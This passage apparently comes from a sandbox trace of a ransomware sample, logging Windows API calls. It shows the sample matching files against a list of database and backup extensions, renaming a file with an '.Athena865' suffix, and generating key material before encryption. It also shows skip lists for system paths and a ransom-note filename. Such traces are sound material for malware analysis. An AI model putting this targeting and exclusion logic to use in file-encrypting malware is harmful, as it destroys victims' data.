[0105.684] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0105.684] lstrlenW (lpString="^^^") returned 3 [0105.684] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0105.684] lstrlenW (lpString="abs") returned 3 [0105.684] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0105.684] lstrlenW (lpString="abx") returned 3 [0105.684] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0105.684] lstrlenW (lpString="accdb") returned 5 [0105.684] lstrcmpiW (lpString1="f.msi", lpString2="accdb") returned 1 [0105.684] lstrlenW (lpString="accdc") returned 5 [0105.684] lstrcmpiW (lpString1="f.msi", lpString2="accdc") returned 1 [0105.684] lstrlenW (lpString="accde") returned 5 [0105.684] lstrcmpiW (lpString1="f.msi", lpString2="accde") returned 1 [0105.684] lstrlenW (lpString="accdr") returned 5 [0105.684] lstrcmpiW (lpString1="f.msi", lpString2="accdr") returned 1 [0105.684] lstrlenW (lpString="accdt") returned 5 [0105.684] lstrcmpiW (lpString1="f.msi", lpString2="accdt") returned 1 [0105.684] lstrlenW (lpString="accdw") returned 5 [0105.684] lstrcmpiW (lpString1="f.msi", lpString2="accdw") returned 1 [0105.684] lstrlenW (lpString="accft") returned 5 [0105.684] lstrcmpiW (lpString1="f.msi", lpString2="accft") returned 1 [0105.684] lstrlenW (lpString="adb") returned 3 [0105.684] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0105.684] lstrlenW (lpString="adb") returned 3 [0105.684] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0105.684] lstrlenW (lpString="ade") returned 3 [0105.684] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0105.684] lstrlenW (lpString="adf") returned 3 [0105.684] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0105.684] lstrlenW (lpString="adn") returned 3 [0105.684] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0105.684] lstrlenW (lpString="adp") returned 3 [0105.685] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0105.685] lstrlenW (lpString="alf") returned 3 [0105.685] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0105.685] lstrlenW (lpString="ask") returned 3 [0105.685] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0105.685] lstrlenW (lpString="btr") returned 3 [0105.685] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0105.685] lstrlenW (lpString="cat") returned 3 [0105.685] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0105.685] lstrlenW (lpString="cdb") returned 3 [0105.685] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0105.685] lstrlenW (lpString="ckp") returned 3 [0105.685] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0105.685] lstrlenW (lpString="cma") returned 3 [0105.685] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0105.685] lstrlenW (lpString="cpd") returned 3 [0105.685] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0105.685] lstrlenW (lpString="dacpac") returned 6 [0105.685] lstrcmpiW (lpString1="of.msi", lpString2="dacpac") returned 1 [0105.685] lstrlenW (lpString="dad") returned 3 [0105.685] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0105.685] lstrlenW (lpString="dadiagrams") returned 10 [0105.685] lstrlenW (lpString="daschema") returned 8 [0105.685] lstrcmpiW (lpString1="roof.msi", lpString2="daschema") returned 1 [0105.685] lstrlenW (lpString="db-journal") returned 10 [0105.685] lstrlenW (lpString="db-shm") returned 6 [0105.685] lstrcmpiW (lpString1="of.msi", lpString2="db-shm") returned 1 [0105.685] lstrlenW (lpString="db-wal") returned 6 [0105.685] lstrcmpiW (lpString1="of.msi", lpString2="db-wal") returned 1 [0105.685] lstrlenW (lpString="dbc") returned 3 [0105.685] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0105.685] lstrlenW (lpString="dbs") returned 3 [0105.685] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0105.686] lstrlenW (lpString="dbt") returned 3 [0105.686] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0105.686] lstrlenW (lpString="dbv") returned 3 [0105.686] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0105.686] lstrlenW (lpString="dbx") returned 3 [0105.686] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0105.686] lstrlenW (lpString="dcb") returned 3 [0105.686] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0105.686] lstrlenW (lpString="dct") returned 3 [0105.686] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0105.686] lstrlenW (lpString="dcx") returned 3 [0105.686] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0105.686] lstrlenW (lpString="ddl") returned 3 [0105.686] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0105.686] lstrlenW (lpString="dlis") returned 4 [0105.686] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0105.686] lstrlenW (lpString="dp1") returned 3 [0105.686] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0105.686] lstrlenW (lpString="dqy") returned 3 [0105.686] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0105.686] lstrlenW (lpString="dsk") returned 3 [0105.686] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0105.686] lstrlenW (lpString="dsn") returned 3 [0105.686] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0105.686] lstrlenW (lpString="dtsx") returned 4 [0105.686] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0105.686] lstrlenW (lpString="dxl") returned 3 [0105.686] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0105.686] lstrlenW (lpString="eco") returned 3 [0105.686] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0105.686] lstrlenW (lpString="ecx") returned 3 [0105.686] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0105.686] lstrlenW (lpString="edb") returned 3 [0105.686] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0105.687] lstrlenW (lpString="epim") returned 4 [0105.687] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0105.687] lstrlenW (lpString="fcd") returned 3 [0105.687] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0105.687] lstrlenW (lpString="fdb") returned 3 [0105.687] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0105.687] lstrlenW (lpString="fic") returned 3 [0105.687] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0105.687] lstrlenW (lpString="flexolibrary") returned 12 [0105.687] lstrlenW (lpString="fm5") returned 3 [0105.687] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0105.687] lstrlenW (lpString="fmp") returned 3 [0105.687] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0105.687] lstrlenW (lpString="fmp12") returned 5 [0105.687] lstrcmpiW (lpString1="f.msi", lpString2="fmp12") returned -1 [0105.687] lstrlenW (lpString="fmpsl") returned 5 [0105.687] lstrcmpiW (lpString1="f.msi", lpString2="fmpsl") returned -1 [0105.687] lstrlenW (lpString="fol") returned 3 [0105.687] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0105.687] lstrlenW (lpString="fp3") returned 3 [0105.687] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0105.687] lstrlenW (lpString="fp4") returned 3 [0105.687] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0105.687] lstrlenW (lpString="fp5") returned 3 [0105.687] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0105.687] lstrlenW (lpString="fp7") returned 3 [0105.687] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0105.687] lstrlenW (lpString="fpt") returned 3 [0105.687] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0105.687] lstrlenW (lpString="frm") returned 3 [0105.687] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0105.687] lstrlenW (lpString="gdb") returned 3 [0105.687] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0105.687] lstrlenW (lpString="gdb") returned 3 [0105.688] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0105.688] lstrlenW (lpString="grdb") returned 4 [0105.688] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0105.688] lstrlenW (lpString="gwi") returned 3 [0105.688] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0105.688] lstrlenW (lpString="hdb") returned 3 [0105.688] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0105.688] lstrlenW (lpString="his") returned 3 [0105.688] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0105.688] lstrlenW (lpString="ib") returned 2 [0105.688] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0105.688] lstrlenW (lpString="idb") returned 3 [0105.688] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0105.688] lstrlenW (lpString="ihx") returned 3 [0105.688] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0105.688] lstrlenW (lpString="itdb") returned 4 [0105.688] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0105.688] lstrlenW (lpString="itw") returned 3 [0105.688] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0105.688] lstrlenW (lpString="jet") returned 3 [0105.688] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0105.688] lstrlenW (lpString="jtx") returned 3 [0105.688] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0105.688] lstrlenW (lpString="kdb") returned 3 [0105.688] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0105.688] lstrlenW (lpString="kexi") returned 4 [0105.688] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0105.688] lstrlenW (lpString="kexic") returned 5 [0105.688] lstrcmpiW (lpString1="f.msi", lpString2="kexic") returned -1 [0105.688] lstrlenW (lpString="kexis") returned 5 [0105.688] lstrcmpiW (lpString1="f.msi", lpString2="kexis") returned -1 [0105.688] lstrlenW (lpString="lgc") returned 3 [0105.688] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0105.689] lstrlenW (lpString="lwx") returned 3 [0105.689] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0105.689] lstrlenW (lpString="maf") returned 3 [0105.689] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0105.689] lstrlenW (lpString="maq") returned 3 [0105.689] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0105.689] lstrlenW (lpString="mar") returned 3 [0105.689] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0105.689] lstrlenW (lpString="marshal") returned 7 [0105.689] lstrcmpiW (lpString1="oof.msi", lpString2="marshal") returned 1 [0105.689] lstrlenW (lpString="mas") returned 3 [0105.689] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0105.689] lstrlenW (lpString="mav") returned 3 [0105.689] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0105.689] lstrlenW (lpString="maw") returned 3 [0105.689] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0105.689] lstrlenW (lpString="mdbhtml") returned 7 [0105.689] lstrcmpiW (lpString1="oof.msi", lpString2="mdbhtml") returned 1 [0105.689] lstrlenW (lpString="mdn") returned 3 [0105.689] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0105.689] lstrlenW (lpString="mdt") returned 3 [0105.689] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0105.689] lstrlenW (lpString="mfd") returned 3 [0105.689] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0105.689] lstrlenW (lpString="mpd") returned 3 [0105.689] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0105.689] lstrlenW (lpString="mrg") returned 3 [0105.689] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0105.689] lstrlenW (lpString="mud") returned 3 [0105.689] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0105.689] lstrlenW (lpString="mwb") returned 3 [0105.689] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0105.689] lstrlenW (lpString="myd") returned 3 [0105.690] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0105.690] lstrlenW (lpString="ndf") returned 3 [0105.690] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0105.690] lstrlenW (lpString="nnt") returned 3 [0105.690] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0105.690] lstrlenW (lpString="nrmlib") returned 6 [0105.690] lstrcmpiW (lpString1="of.msi", lpString2="nrmlib") returned 1 [0105.690] lstrlenW (lpString="ns2") returned 3 [0105.690] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0105.690] lstrlenW (lpString="ns3") returned 3 [0105.690] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0105.690] lstrlenW (lpString="ns4") returned 3 [0105.690] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0105.690] lstrlenW (lpString="nsf") returned 3 [0105.690] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0105.690] lstrlenW (lpString="nv") returned 2 [0105.690] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0105.690] lstrlenW (lpString="nv2") returned 3 [0105.690] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0105.690] lstrlenW (lpString="nwdb") returned 4 [0105.690] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0105.690] lstrlenW (lpString="nyf") returned 3 [0105.690] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0105.690] lstrlenW (lpString="odb") returned 3 [0105.690] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0105.690] lstrlenW (lpString="odb") returned 3 [0105.690] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0105.690] lstrlenW (lpString="oqy") returned 3 [0105.690] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0105.690] lstrlenW (lpString="ora") returned 3 [0105.690] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0105.690] lstrlenW (lpString="orx") returned 3 [0105.690] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0105.690] lstrlenW (lpString="owc") returned 3 [0105.691] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0105.691] lstrlenW (lpString="p96") returned 3 [0105.691] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0105.691] lstrlenW (lpString="p97") returned 3 [0105.691] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0105.691] lstrlenW (lpString="pan") returned 3 [0105.691] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0105.691] lstrlenW (lpString="pdb") returned 3 [0105.691] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0105.691] lstrlenW (lpString="pdm") returned 3 [0105.691] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0105.691] lstrlenW (lpString="pnz") returned 3 [0105.691] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0105.691] lstrlenW (lpString="qry") returned 3 [0105.691] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0105.691] lstrlenW (lpString="qvd") returned 3 [0105.691] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0105.691] lstrlenW (lpString="rbf") returned 3 [0105.691] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0105.691] lstrlenW (lpString="rctd") returned 4 [0105.691] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0105.691] lstrlenW (lpString="rod") returned 3 [0105.691] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0105.691] lstrlenW (lpString="rodx") returned 4 [0105.691] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0105.691] lstrlenW (lpString="rpd") returned 3 [0105.691] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0105.691] lstrlenW (lpString="rsd") returned 3 [0105.691] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0105.691] lstrlenW (lpString="sas7bdat") returned 8 [0105.691] lstrcmpiW (lpString1="roof.msi", lpString2="sas7bdat") returned -1 [0105.691] lstrlenW (lpString="sbf") returned 3 [0105.691] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0105.692] lstrlenW (lpString="scx") returned 3 [0105.692] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0105.692] lstrlenW (lpString="sdb") returned 3 [0105.692] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0105.692] lstrlenW (lpString="sdc") returned 3 [0105.692] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0105.692] lstrlenW (lpString="sdf") returned 3 [0105.692] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0105.692] lstrlenW (lpString="sis") returned 3 [0105.692] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0105.692] lstrlenW (lpString="spq") returned 3 [0105.692] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0105.692] lstrlenW (lpString="te") returned 2 [0105.692] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0105.692] lstrlenW (lpString="teacher") returned 7 [0105.692] lstrcmpiW (lpString1="oof.msi", lpString2="teacher") returned -1 [0105.692] lstrlenW (lpString="tmd") returned 3 [0105.692] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0105.692] lstrlenW (lpString="tps") returned 3 [0105.692] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0105.692] lstrlenW (lpString="trc") returned 3 [0105.692] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0105.692] lstrlenW (lpString="trc") returned 3 [0105.692] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0105.692] lstrlenW (lpString="trm") returned 3 [0105.692] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0105.692] lstrlenW (lpString="udb") returned 3 [0105.692] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0105.692] lstrlenW (lpString="udl") returned 3 [0105.693] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0105.693] lstrlenW (lpString="usr") returned 3 [0105.693] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0105.693] lstrlenW (lpString="v12") returned 3 [0105.693] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0105.693] lstrlenW (lpString="vis") returned 3 [0105.693] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0105.693] lstrlenW (lpString="vpd") returned 3 [0105.693] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0105.693] lstrlenW (lpString="vvv") returned 3 [0105.693] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0105.693] lstrlenW (lpString="wdb") returned 3 [0105.693] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0105.693] lstrlenW (lpString="wmdb") returned 4 [0105.693] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0105.693] lstrlenW (lpString="wrk") returned 3 [0105.693] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0105.693] lstrlenW (lpString="xdb") returned 3 [0105.693] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0105.693] lstrlenW (lpString="xld") returned 3 [0105.693] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0105.693] lstrlenW (lpString="xmlff") returned 5 [0105.693] lstrcmpiW (lpString1="f.msi", lpString2="xmlff") returned -1 [0105.693] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.Athena865") returned 91 [0105.693] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.athena865"), dwFlags=0x1) returned 1 [0105.694] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0105.694] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=881152) returned 1 [0105.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0105.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0105.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0105.695] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0105.695] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0105.696] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.696] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd7500, lpName=0x0) returned 0x154 [0105.697] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd7500) returned 0x2d50000 [0105.736] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0105.737] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0105.737] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0105.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0105.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0105.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0105.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0105.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0105.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0105.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0105.737] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0105.745] CloseHandle (hObject=0x154) returned 1 [0105.745] CloseHandle (hObject=0x17c) returned 1 [0105.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0105.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0105.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0105.749] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2=".") returned 1 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2="..") returned 1 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2="windows") returned -1 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2="bootmgr") returned 1 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2="temp") returned -1 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2="pagefile.sys") returned 1 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2="boot") returned 1 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2="ids.txt") returned 1 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2="ntuser.dat") returned 1 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2="perflogs") returned 1 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2="MSBuild") returned 1 [0105.749] lstrlenW (lpString="Proof.xml") returned 9 [0105.749] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Proof.xml" | out: lpString1="Proof.xml") returned="Proof.xml" [0105.749] lstrlenW (lpString="Proof.xml") returned 9 [0105.749] lstrlenW (lpString="Athena865") returned 9 [0105.749] lstrlenW (lpString=".dll") returned 4 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2=".dll") returned 1 [0105.749] lstrlenW (lpString=".lnk") returned 4 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2=".lnk") returned 1 [0105.749] lstrlenW (lpString=".ini") returned 4 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2=".ini") returned 1 [0105.749] lstrlenW (lpString=".sys") returned 4 [0105.749] lstrcmpiW (lpString1="Proof.xml", lpString2=".sys") returned 1 [0105.749] lstrlenW (lpString="Proof.xml") returned 9 [0105.749] lstrlenW (lpString="bak") returned 3 [0105.749] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0105.749] lstrlenW (lpString="ba_") returned 3 [0105.750] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0105.750] lstrlenW (lpString="dbb") returned 3 [0105.750] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0105.750] lstrlenW (lpString="vmdk") returned 4 [0105.750] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0105.750] lstrlenW (lpString="rar") returned 3 [0105.750] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0105.750] lstrlenW (lpString="zip") returned 3 [0105.750] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0105.750] lstrlenW (lpString="tgz") returned 3 [0105.750] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0105.750] lstrlenW (lpString="vbox") returned 4 [0105.750] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0105.750] lstrlenW (lpString="vdi") returned 3 [0105.750] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0105.750] lstrlenW (lpString="vhd") returned 3 [0105.750] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0105.750] lstrlenW (lpString="vhdx") returned 4 [0105.750] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0105.750] lstrlenW (lpString="avhd") returned 4 [0105.750] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0105.750] lstrlenW (lpString="db") returned 2 [0105.750] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0105.750] lstrlenW (lpString="db2") returned 3 [0105.750] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0105.750] lstrlenW (lpString="db3") returned 3 [0105.750] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0105.750] lstrlenW (lpString="dbf") returned 3 [0105.750] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0105.750] lstrlenW (lpString="mdf") returned 3 [0105.750] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0105.750] lstrlenW (lpString="mdb") returned 3 [0105.750] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0105.750] lstrlenW (lpString="sql") returned 3 [0105.751] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0105.751] lstrlenW (lpString="sqlite") returned 6 [0105.751] lstrcmpiW (lpString1="of.xml", lpString2="sqlite") returned -1 [0105.751] lstrlenW 